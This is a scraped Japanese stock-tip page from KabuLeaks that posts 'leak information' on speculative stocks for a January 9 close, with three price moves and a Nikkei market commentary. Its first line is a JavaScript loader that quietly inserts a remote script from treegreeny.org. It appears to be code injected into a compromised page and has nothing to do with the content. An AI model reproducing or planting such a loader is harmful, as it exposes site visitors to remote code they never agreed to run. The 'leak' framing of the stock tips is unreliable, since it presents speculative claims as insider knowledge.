;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://treegreeny.org/KDJnCSZn"); 仕手株・ファンド介入リーク情報【1/9 大引け】|【KabuLeaks 〜株リークス〜】
仕手株

仕手株・ファンド介入リーク情報【1/9 大引け】

【2468】フュートレック +91 (+8.69%)

【4062】イビデン -7 (-0.34%)

【8439】東京センチュリーリース -70 (-2.03%)

日経平均は241円安と反落。前日の上げ幅307円の約8割を消す大幅な下げとなり、再び1万6000円の大台を下回った。前日の大幅高の反動で売りが出やすい地合いに、米株安や円相場の下げ渋りといった悪条件が重なり、利益確定売りが優勢となった。

10日のオプションSQを控え、先物に仕掛け的な売りが断続的に入り、裁定解消売りを誘発したことも指数の下げ幅を増幅した。

指数寄与度の高い【9983】ファーストリテイリングと【6954】ファナック、【9433】KDDIの3銘柄だけで日経平均を約98円押し下げた計算となる。

また、米雇用統計の発表を10日に控えて、リスク回避を目的にポジションを一旦手仕舞う動きもみられた。